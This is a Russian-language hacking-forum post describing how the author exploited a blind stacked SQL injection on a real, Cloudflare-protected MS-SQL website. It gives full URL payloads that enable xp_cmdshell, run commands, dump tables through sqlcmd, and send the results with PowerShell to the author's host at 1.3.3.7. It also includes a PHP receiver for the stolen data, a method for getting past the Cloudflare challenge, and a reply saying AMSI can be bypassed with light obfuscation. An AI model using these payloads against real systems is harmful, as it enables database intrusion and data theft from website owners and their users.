• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксильтрация при слепом инжекте MS-SQL

xargs

Quad Robber
Пользователь
Регистрация
21.02.2024
Сообщения
265
Реакции
241
Хочу поделиться решением одного интересного кейса который мне довелось решать. Вебсайт с уязвимым параметром, как показала разведка слепой,стакед инжект в MS-SQL. Сервер за cloudflare. Подружил я sqlmap c скулей но выводить посимвольно очень долго, а в базе пару терабайт данных, несколько тысячь таблиц и черт ногу сломит. Выводить такое посимвольно нужно быть еще тем наркоманом. К счастью пользователь оказался администратором БД.

Сначала включаем исполнение команд (Burp + hackvertor):
Код:
id=999999<@urlencode_all>;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;<@/urlencode_all>--

Исполняем команду и записываем в файл на сервере
Код:
id=999999<@urlencode_all>;DECLARE @qq VARCHAR(8000) = 'whoami /all > \users\public\iwr000.cache';EXEC master.dbo.xp_cmdshell @qq;<@/urlencode_all>--

Отправляем файл себе на сервер:
Код:
id=999999<@urlencode_all>;DECLARE @qq VARCHAR(8000) = 'powershell -c "iwr -Uri http://1.3.3.7/data.php -Method Post -Body @{data = (Get-Content \users\public\iwr000.cache -Raw)}"';EXEC master.dbo.xp_cmdshell @qq;<@/urlencode_all>--

Принимать можно было бы неткатом, но тогда нужно обрывать соединение иначе наш запрос ожидает ответ и это создает неудобства, поэтому просто пишем мини приемщик на PHP:

PHP:
<?php
if(isset($_POST['data'])) {
        file_put_contents('data.txt', $_POST['data']);
    }

Тем временем запускаем в терминале линукса: watch cat data.txt и получаем контент который обновляется каждые 2 секунды, то есть нам не нужно каждый раз открывать data.txt когда мы отсылаем новые данные постом. hackvertor мы используем просто для удобства, он помогает обходить cloudflare (самую простую защиту) но прежде чем клауд начнет проспускать первый запрос с RECONFIGURE мы получаем 403, жмем (в бурпе) "show response in browser" и вручную проходим челенж от клауда, потом желательно пройтись по сайту по нескольким ссылкам до тех пор пока не увидите в прокси бурпа что в заголовках появилась кука cf_clearance , после этого мы можем отсылать URL-кодированные запросы с сомнительными данными и не получать 403 ответы.

Банально, просто, но работает) p.s. я не поднимал бэкконект и не закачивал никакой софт на сервер потому как там стоял клауд АВ который блочит абсолютно все. Обход АВ и Amsi уже другая история.

+bonus request:
Так как у нас nt service\mssqlserver я обращался к БД так:

Код:
id=999999<@urlencode_all>;DECLARE @qq VARCHAR(8000) = 'sqlcmd -S localhost -d database -E -Q "select ""asd"" FROM TEMPLATEPRODLIVE;SELECT TOP 1 * from TEMPLATEPRODLIVE;" > \users\public\iwr000.cache';EXEC master.dbo.xp_cmdshell @qq;<@/urlencode_all>--

-E - Использует Windows-аутентификацию
- Q - Выполняет указанные SQL-запросы.
"select ""asd"" FROM TEMPLATEPRODLIVE;SELECT TOP 1 * from TEMPLATEPRODLIVE;" - двойные кавычки внутри двойных кавычек экранируются путем дублирования их.
 
хотелось бы услышать про это))) а так +++ круто, спасибо!
amsi обходится просто, паблик методы все еще работают но нужна простейшая обфускация, там можно применить хакерскую смекалку, не требующую каких либо продвинутых техник а вот тема обхода АВ слишком щипитильна, если её обсуждать открыто тогда методы будут отмирать очень быстро, так что даже нет смысла.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх